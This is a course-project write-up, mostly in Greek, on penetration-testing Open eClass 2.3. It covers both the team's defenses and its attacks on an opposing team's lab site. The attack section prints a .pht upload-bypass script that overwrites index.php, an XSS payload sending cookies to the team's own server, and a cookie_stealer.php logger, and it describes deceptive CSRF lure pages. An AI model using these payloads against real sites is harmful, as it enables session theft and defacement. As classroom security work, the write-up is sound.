eClass-Penetration-Testing

Evaluating the security (exploiting and fixing vulnerabilities) of Open eClass 2.3 (University of Athens) platform.

View on GitHub

Open eClass 2.3

Το repository αυτό περιέχει μια παλιά και μη ασφαλή έκδοση του eclass. Προορίζεται για χρήση στα πλαίσια του μαθήματος Προστασία & Ασφάλεια Υπολογιστικών Συστημάτων (ΥΣ13), μην τη χρησιμοποιήσετε για κάνενα άλλο σκοπό.

Χρήση μέσω docker

# create and start (the first run takes time to build the image)
docker-compose up -d

# stop/restart
docker-compose stop
docker-compose start

# stop and remove
docker-compose down -v

To site είναι διαθέσιμο στο http://localhost:8001/. Την πρώτη φορά θα πρέπει να τρέξετε τον οδηγό εγκατάστασης.

Ρυθμίσεις eclass

Εκφώνηση

https://ys13.chatzi.org/assets/projects/project1.pdf

Team TrojanPonies:

by KazakosVas, mansstiv

Defense

SQL Injection

Στον αρχικό κώδικα υπήρχαν ήδη σε αρκετά σημεία σχετικές άμυνες μέσω filtering των input variables. Παρόλα αυτά για την ακόμη καλύτερη αντιμετώπιση χρησιμοποιήσαμε την τεχνική των Prepared Statements μέσω των συναρτήσεων της mysqli και για τις numeric input variables την συνάρτηση intval().

Cross-site Scripting (XSS)

Σε όλα τα πεδία που μπορεί να εισάγει κείμενο ο χρήστης έχουμε χρησιμοποιήσει την συνάρτηση htmlspecialchars() για να φιλτράρουμε τις λέξεις και να μετατρέψουμε τα special characters, όπως ‘<’, ‘>’ σε HTML entities. Έτσι αποτρέπουμε τον χρήστη από το να εκτελέσει κακόβουλα scripts.

Να σημειωθεί πως η συνάρτηση χρησιμοποιείται μόνο πριν βάλουμε τα δεδομένα στην βάση μας. Γνωρίζουμε παρόλα αυτά πως αντ’ αυτού, η χρησιμοποίησή της μόνο πριν την εκτύπωση των δεδομένων στο output ίσως είναι ακόμη καλύτερη τεχνική, αλλά επειδή τα αρχεία ήταν πολλά, φοβηθήκαμε την πιθανότητα να μας ξεφύγει κάποια εκτύπωση και για αυτό την χρησιμοποιήσαμε με τον συγκεκριμένο τρόπο.

Επίσης, ειδική αναφορά αξίζει να κάνουμε στην μεταβλητή $_SERVER [‘PHP_SELF’]. Παρατηρήσαμε πως χρησιμοποιείται σχεδόν σε όλα τα αρχεία και είναι αιτία που ο επιτιθέμενος μπορεί να τρέξει XSS attacks μέσω του url. Παρόμοια ευπάθεια υπάρχει και στην φόρμα αλλαγής γλώσσας.

Cross-Site Request Forgery (CSRF)

Για την άμυνα στα CSRF χρησιμοποιούμε σε κάθε post και get (που κάνει κάποια αλλαγή) request ένα random generated token το οποίο έχει κρυπρογραφηθεί με τον αλγόριθμο sha256 και κλειδί το cookie του εκάστοτε λογαριασμού. Σε περίπτωση που το token που σταλθεί δεν είναι το σωστό, αποσυνδέουμε αυτόματα τον χρήστη.

Αυτό το κάνουμε, καθώς γνωρίζουμε πως κάτι τέτοιο θα συμβεί μόνο στην περίπτωση που κάποιος κακόβουλος χρήστης θελήσει να μαντέψει μέσω κάποιου brute force το token και να πραγματοποιήσει csrf attack. Οπότε κατά αυτόν τον τρόπο, του αφαιρούμε αυτήν την δυνατότητα και προστατεύουμε κατάλληλα το site μας.

Remote File Inclusion (RFI)

Στον αρχικό κώδικα φαινόταν πως ύπηρχε κάποιου είδους άμυνα απο RFI. Αυτό όμως δεν ισχύει καθώς ο χρήστης μπορούσε να δει το file tree να βρει το αρχείο του και να το τρέξει. Επιπλεόν η συνάρτηση uniqid() που χρησιμοποιήθηκε για να δώσει τυχαίο όνομα στο αρχείο δε θεωρείται αξιόπιστη συνάρτηση για τη παραγωγή πραγματικά τυχαίων συμβολοσειρών, καθώς βασίζεται στον τωρινό χρόνο σε microseconds. Για αυτούς τους λόγους αμυνθήκαμε με τους ακόλουθους τρόπους:

Attack

Πως κάναμε το deface (RFI)

Target Team: ERROR-404

Aρχικά παρατηρήσαμε ότι δεν έχει προστατευτεί το μονοπάτι στο οποίο ανεβαίνουν τα αρχεία απο το work.php και το dropbox.php. Αντιληφθήκαμε επίσης πως το αμυνόμενο site μετατρέπει όλα τα .php αρχεία που ανεβαίνουν σε .txt.

Για αυτό, χρησιμοποιήσαμε ένα διαφορετικό extension για php (.pht το οποίο τρέχει κανονικά σαν php) για το οποίο οι αμυνόμενοι δεν είχαν κανει μετατροπή σε .txt. Στη συνέχεια με php, όπως φαίνεται και παρακάτω εύκολα αντικαταστήσαμε το αρχείο σύνδεσης openeclass/index.php με ένα δικό μας, με κάποιες επιπρόσθετες εκτυπώσεις.

Το αρχείο .pht που τρέξαμε:

<?php
	echo getcwd();
	$where = '/var/www/openeclass/index.php'; 
	$from = 'updatedIndex.txt';
	$a=rename($from,$where);
	echo $a;
?> 

SQL Injection

Τρέχοντας τα παρακάτω links, εμφανίζεται ο encrypted κωδικός του drunkadmin (δηλ. όπως αποθηκεύεται στην βάση).

Cross-site Scripting (XSS)

Ο τρόπος που εκμεταλλευτήκαμε τα XSS attacks είναι με το ακόλουθο script που έχει ως στόχο να στείλει τo cookie του αντιπάλου σε έναν δικό μας server, ο οποίος με την σειρά του θα αποθηκεύσει το cookie σε ένα αρχείο .txt.

To script που τρέξαμε:

<script type="text/javascript">
	document.location='http://trojanponies.puppies.chatzi.org/cookie_stealer.php?c='+document.cookie;
</script>

Το αρχείο cookie_stealer.php, που επεξεργάζεται το προηγούμενο αίτημα έχει τον ακόλουθο κώδικα:

<?php
	if (isset($_GET["c"]))
	{
		$fp = fopen("stealed_cookies.txt", "a+");
		$cookie = $_GET["c"];
		fwrite($fp, $cookie . "\n\n");
		fclose($fp);
	}

	header("Location: http://error-404.csec.chatzi.org/");
?> 

Που βρήκαμε κενό για XSS ;

Cross-Site Request Forgery (CSRF)

Εφόσον αποκτήσαμε πρόσβαση στον drunkadmin, μας δόθηκε η οδηγία να δοκιμάσουμε τα CSRF attacks μόνοι μας, χωρίς να στείλουμε email. Γνωρίζοντας λοιπόν τις φόρμες που δεν έχουν προστατευτεί σωστά, εστιάσαμε σε αυτές και δοκιμάσαμε να κάνουμε CSRF attack με post request σε 2 φόρμες, δημιουργώντας αντίστοιχα τις 2 ιστοσελίδες κάτω από τον φάκελο puppies για τις φόρμες αυτές.

Να τονιστεί πως οι φόρμες του site puppies είναι αρκετά ρεαλιστικές, με στόχο να μην αντιληφθεί ο drunkadmin πως σχετίζονται με επιθέσεις στο site του. Για να δουλέψουν, αρκεί να κάνει ένα click στο κουμπί που υπάρχει στην σελίδα και εννοείται να είναι ήδη συνδεδεμένος στο site του. Οι φόρμες μπορούν να βρεθούν στα ακόλουθα links:

Συνειδητοποιήσαμε επίσης, πως υπάρχουν αρκετά CSRF attack με get request, τα οποία μπορούν να προκαλέσουν σημαντικές αλλαγές στην λειτουργία του site, εφόσον κλικάρει ο drunkadmin τα αντίστοιχα url. Μερικά παραδείγματα είναι τα ακόλουθα:

Remote File Inclusion (RFI)

Το συγκεκριμένο attack αναφέρεται προηγουμένως στον τρόπο που κάναμε deface το αντίπαλο site.